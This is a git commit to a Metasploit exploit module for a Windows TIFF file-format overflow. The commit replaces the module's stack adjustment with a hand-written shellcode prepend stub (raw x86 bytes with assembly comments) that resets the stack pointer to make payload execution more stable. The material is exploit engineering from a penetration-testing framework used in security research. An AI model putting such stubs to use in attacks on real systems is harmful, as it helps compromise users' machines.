Make payload execution more stable

2013-11-23 00:47:45 -06:00 · 2013-11-23 00:47:45 -06:00 · 6ccc3e3c48
parent d748fd4003
commit 6ccc3e3c48
1 changed files with 5 additions and 2 deletions
--- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
+++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb
@ -66,8 +66,11 @@ class Metasploit3 < Msf::Exploit::Remote
        ],
      'Payload'        =>
        {
-          'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff", # add esp, -80000
-          'StackAdjustment' => -3500,
+          #'PrependEncoder' => "\xbc\x36\x06\x0f\x20",      # mov esp, 200f0636h
+          'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
+                              "\x83\xC0\x08"             + # add eax, byte 8
+                              "\x8b\x20"                 + # mov esp, [eax]
+                              "\x81\xC4\x30\xF8\xFF\xFF",  # add esp, -2000
          'BadChars'        => "\x00"
        },
      'DefaultOptions'  =>